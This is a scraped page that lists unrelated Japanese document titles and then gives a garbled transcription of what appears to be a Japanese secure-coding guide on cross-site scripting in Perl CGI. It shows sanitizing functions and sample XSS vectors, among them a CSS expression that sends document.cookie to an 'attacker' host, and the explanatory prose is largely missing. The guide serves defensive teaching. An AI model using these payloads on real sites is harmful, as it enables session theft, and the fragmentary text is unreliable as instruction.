Similar documents
ActionClass JSP ActionClass ActionClass Action PG

●70974_100_AC009160_KAPヘ<3099>ーシス自動車約款(11.10).indb

-34-

!!!!!

PowerPoint プレゼンテーション

改訂版 :基本的な文字化の原則(Basic Transcription System for Japanese: BTSJ)

インターネットマガジン1997年4月号―INTERNET magazine No.27

康乘聡子(P105‐121)/康乘聡子 p105‐121

‡Æ‡Ý‡©457_01-12

' % % &! #


76

†ı25”Y„o-PDF.ren

™ƒŒì„³001†`028.pwd

★分冊3-説明資料PDF用/02-PDF個別


" " " " "!!


Lecture on

REALV5_A4…p_Ł\1_4A_OCF

untitled

「都市から地方への人材誘致・移住促進に関する調査」

<91498EE88CA D815B2E786C73>

〔 大 会 役 員 〕

橡本体資料+参考条文.PDF

pdf

1"

コンピュータサイエンス 4. ウェブプログラミング

カンペキな初心者のための、Adobe® AIR™の基礎の基礎

コンピュータサイエンス 1. ウェブの基本

1-18

0223_cover.qxd

問 題 1 背 景 色 という 文 字 列 の 背 景 をちょっと 青 っぽい 色 (#6699FF)で 表 示 するHMTLを 作 成 せよ <HTML><HEAD><TITLE>test11</TITLE> <BODY BGCOLOR="#FFFFFF"> この 部 分 は<STRONG STY

インターネットマガジン1999年12月号―INTERNET magazine No.59

あいち電子自治体ガイドライン(第1章)

財政金融統計月報第720号


第168回日本胸部外科学会関東甲信越地方会要旨集

インターネットマガジン2001年3月号―INTERNET magazine No.74

untitled

HTMLとメタデータ

"%%%#%%%$ $ * ) '(%&! ## # # $'( *-, ++ #+!" *!" ) * ""!! 3d

プログラム

L03_final.indd


›¼’à”v“lŠÍ1−ª

特別プログラム

8 浜根知恵(p191‐203)204白/p191‐203

★表紙-背幅5.5mm/表紙

SBI損保の自動車保険 重要事項説明書


表紙(背幅8.5mm)/背幅8.5mm


2

_ZEI-1022_fiÁŁÊ−é›æ-’‘Ä


1 鵜澤幸弘(p7‐26)/性同一障害 p7‐26

広報あつぎ-1月15日号-1面12.indd

untitled

A4_元

本文/A6180A

150220_通し


60周年記念 記念誌/扉・扉裏・中扉・資料扉・名簿扉

本文/YAY180B


研究紀要 第22号 (分割版 その7)

S \1.E4

学内広報 No.1224


本文(縦)/YAZ149T



ホームページ制作スターターズ

日阪_NVAC0407.qxd

血統詳細‐本番/血統詳細0602

CW3_A1083D05.indd

ニューガラス100/100目次

program08.pdf


本文/年次報告  67‐107

32号 701062/きじ1

10西宮市立中央病院/本文

北九州高専 志遠 第63号/表紙・表4

特別プログラム

Ł\”ƒ

報告書(第2回NGO‐JICA)/はじめに・目次

P-12 P P-14 P-15 P P-17 P-18 P-19 P-20 P-21 P-22

untitled

ワードプロセッシングについて

untitled

untitled


第52回日本生殖医学会総会・学術講演会

インターネットマガジン2001年1月号―INTERNET magazine No.72

浦安ライオンズクラブ81獅子吼.indd

<348C8E8D862E696E6464>

2


JavaScriptプログラミング入門

Transcription:

1 print "<table>\r\n"; 2 print "<tr><td> </td><td>$author</td></tr>\r\n"; 3 print "<tr><td> Web</td>"; 4 print "<td><a href="$url">$url</a></td></tr>\r\n"; 5 print "<tr><td> </td><td>$message</td></tr>\r\n"; 6 print "</table>\r\n";

1 $author = &ez_sanitize($author); # $author 2 $url = &ez_sanitize($url); # $url 3 $message = &ez_sanitize($message); # $message 4 5 print "<table>\r\n"; 6 print "<tr><td> </td><td>$author</td></tr>\r\n"; 7 print "<tr><td> Web</td>"; 8 print "<td><a href='$url'>$url</a></td></tr>\r\n"; 9 print "<tr><td> </td><td>$message</td></tr>\r\n"; 10 print "</table>\r\n"; 11 12 sub ez_sanitize { 13 my $input = $_[0]; 14 $input =~ s/&/&/g; # & & 15 $input =~ s/</</g; # < < 16 $input =~ s/>/>/g; # > > 17 $input =~ s/"/"/g; # " " 18 $input =~ s/'/&#39;/g; # ' &#39; 19 return $input; 20 }

<IMG src="$selected_icon"> <IMG src=$selected_icon> $selected_icon="no_such_icon onerror=alert(document.cookie);" <IMG src=no_such_icon onerror=alert(document.cookie);> 1 <A href="&{alert('hello');};">need not to click me</a> 2 <A href="javascript:alert('clicked');&{alert('page loaded');};">here</a> NetscapeNavigator 4.72 Windows

1 $url = &ez_url_sanitize($url); # $url 2 3 sub ez_url_sanitize { 4 my $url = $_[0]; 5 6 ### URL ### 7 # --- http://www.ietf.org/rfc/rfc2396.txt --- 8 # uric = reserved unreserved escaped 9 # reserved = ";" "/" "?" ":" "@" "&" "=" "+" "$" "," 10 # unreserved = alphanum mark 11 # mark = "-" "_" "." "!" "~" "*" "'" "(" ")" 12 # escaped = "%" hex hex 13 14 return '' if($url =~ m [^;/?:@&=+\$,A-Za-z0-9\-_.!~*'()%] ); 15 16 ### ### 17 # --- http://www.ietf.org/rfc/rfc2396.txt --- 18 # scheme = alpha *( alpha digit "+" "-" "." ) 19 20 if($url =~ /^([A-Za-z][A-Za-z0-9+\-.]*):/) { 21 # $url 22 my $scheme = lc($1); # 23 my $allowed = 0; 24 $allowed = 1 if($scheme eq 'http'); 25 $allowed = 1 if($scheme eq 'https'); 26 $allowed = 1 if($scheme eq 'mailto'); 27 return '' if(not $allowed); 28 } 29 30 ### HTML ### 31 # special = "&" "<" ">" '"' "'" 32 # URL "<" ">" '"' $url 33 34 $url =~ s/&/&/g; # & & 35 $url =~ s/'/&#39;/g; # ' &#39; 36 37 return $url; 38 } ; /? : @ & = + $, - _.! ~ * ' ( ) %

1 <SPAN onmouseover="alert(' ');"> </SPAN> 1 <SCRIPT src="external.js"></script>

1 <script> 2 <!-- 3 alert('in the comment'); 4 --> 5 </script> 1 <BR style=left:expression(eval('document.location="http://www.ipa.go.jp/";'))> 1 <STYLE type="text/javascript"> 2 document.location="http://www.ipa.go.jp/"; 3 </STYLE> 1 <LINK rel="stylesheet" href="metalic_design.css"> 1 <LINK rel="stylesheet" href="javascript:alert('hello');"> 1 <STYLE type="text/css"> 2 @import url(javascript:alert('hello')); 3 </STYLE>

1 <LINK rel="stylesheet" href="http://attacker/malicious.css"> 1 body { left: expression( 2 eval('document.location="http://attacker/"+document.cookie;')) }

$, \$,